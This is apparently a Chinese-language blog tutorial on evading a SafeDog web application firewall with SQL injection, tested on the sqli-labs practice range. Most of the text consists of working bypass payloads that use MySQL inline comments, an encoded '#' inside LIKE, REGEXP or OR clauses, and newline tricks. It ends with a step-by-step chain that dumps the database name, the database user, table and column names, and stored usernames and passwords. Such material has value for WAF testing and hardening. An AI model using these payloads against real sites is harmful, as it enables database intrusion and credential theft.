前言
在记忆里上次绕安全狗还是在上次，开开心心把自己之前绕过狗的payload拿出来，发现全部被拦截了，事情一下子就严肃起来了，这就开整。
环境
本次环境如下sqli-lab的sql注入靶场
网站安全狗APACHE版V4.0版本的最高防护等级
绕过方法
首先先来分析分析以前以前绕过的Payload
-1' union/*!10440*/select 1,2,3--+其中这里的10440数字经过fuzz可以替换的有如下
10440–10449 13440-13449 14400-14499 15440-15449 16440-16449 17440-17449 18440-18449 等等但是在更新后的安全狗后这些payload已经全部被拦截
到这就不得不提提安全狗之前的匹配规则了，我们单独union不会被拦截
单独select也不会被拦截
但是union和select放一起组合就会被匹配出来，然后被安全狗所拦截
基于这个特性，我们利用之前的payload
-1' union/*!10440*/select 1,2,3--+是可以绕过老版本的安全狗的，这里在union和select中间加入了一个/\*!10440\*/，众所周知在mysql中/\*!...\*/不是注释，mysql为了保持兼容，它把一些特有的仅在mysql上用的语句放在/\*!...\*/中，这样这些语句如果在其他数据库中是不会被执行，但在mysql中它会执行
所以union/\*!10440\*/select等价于union select,且绕过了安全狗对union和select字符一起组合的检测
但是安全狗更新之后，所有的payload都已经失效，那么我们猜测一下，安全狗更新后是不是匹配union和select之间所有的字符，匹配到之后用空字符替换，再检测是否存在union select组合，为了验证这个猜测我们对我们的payload进行fuzz验证一下
跑了一些特殊的字符发现都被拦截
但是唯独有一个符号没有被返回的length长度不一样
按我们看看这个'#'会擦出什么爱情的火花
我们利用如下语句
?id=-1' union/*!test01#test02*/select 1,2,3--+
此处我们搞清楚一个流程，我们的语句发送过去，首先接收安全狗检测，安全狗检测到'#'号，所以'\#'后面的都会被截断抛弃，所以安全狗只能匹配到'\#'前的union，但是没匹配到'\#'后的select，所以通过安全狗。在通过安全狗后我们的语句被数据库接收，数据库此处处理过程和安全狗处理流程一样，都是只能匹配到'\#'前的union，但是没匹配到'\#'后的select，最终导致语句不完整导致最后的报错。
说到这里我们究竟要怎么去绕过这个可恶的安全狗呢，我们想象这么一个场景，首先我们的'\#'被安全狗识别，但是在我们的SQL语句中并不识别这个'\#'，这样我们就可以达到绕过安全狗而且保持正确的SQL语句来实现我么的注入。
我们来看下下面两语句
SELECT * FROM number WHERE home_id =1 LIKE "[%23]";
SELECT * FROM number WHERE home_id =1 LIKE "[%23]" union select * FROM number;
此处SELECT * FROM number WHERE home_id =1 LIKE "[%23]";查出来一个空表
所以SELECT * FROM number WHERE home_id =1 LIKE "[%23]" union select * FROM number;相当于select * FROM number；
该语句是存在一个LIKE "[%23]"，也正是这个LIKE "[%23]"让我们的SELECT * FROM number WHERE home_id =1成为一个空表。
那么这个语句有什么用的，可以发现我们的LIKE "[%23]"中有一个%23，众所周知\#的url编码是%23，那么这条语句带入到安全狗中，安全狗会不会识别这个\#呢，带着这样的猜想我们构造如下payload。
-1' like "[%23]" /*!10440union select*/ 1,2,3 --+
呜呜呜，还是被拦截了，吹牛逼吹了这么久，白吹了。
但是我这种阳光、帅气、善解人意且坚持不懈的小伙子会这么容易就放弃吗，显然不会，后面猜测是/\*!10440union select\*/中的union select被检测出来了，所以在union select中间下了点功夫，最终payload如下
-1' like "[%23]" /*!10440union%0aselect*/ 1,2,3 --+
奈何无文化，一句卧槽走天下。
最后总结下安全狗的检测机制
首先整体语句做一个检测，这个检测也是最强最牛X的
'\#'后的语句虽然被截断，但截断之后并不是和我们最初想的那样完全不检测，'\#'截断的语句还是会被检测，只是检测规则相比第一次不同且相比第一次检测强度相比较弱，所以我们可以对其进行绕过。
当然除了like关键字，我们还可以使用如下payload
-1' or "[%23]" /*!10440union%0aselect*/ 1,2,3 --+
-1' regexp "[%23]" /*!10440union%0aselect*/ 1,2,3 --+
-1' /*%23*/ /*!10440union%0aselect*/ 1,2,3 --+知道了这个特性接下来就，那就用这一招打过天下无敌手
爆数据库名和用户名
-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),user(/*!10440%0a*/)--+
爆表名
-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),group_concat(table_name) from/*%23*/information_schema.tables where table_schema=database(/*!10440%0a*/)--+
爆字段
-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),group_concat(column_name) from/*%23*/information_schema.columns where table_schema=database(/*!10440%0a*/) /*!10440and*/ table_name='users'--+
爆字段中的值
-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),group_concat(username,password) from users--+
总结
1、内联yyds
2、在一些被拦截的地方多用/\*%23\*/和/\*!10440%0a\*/，有奇效。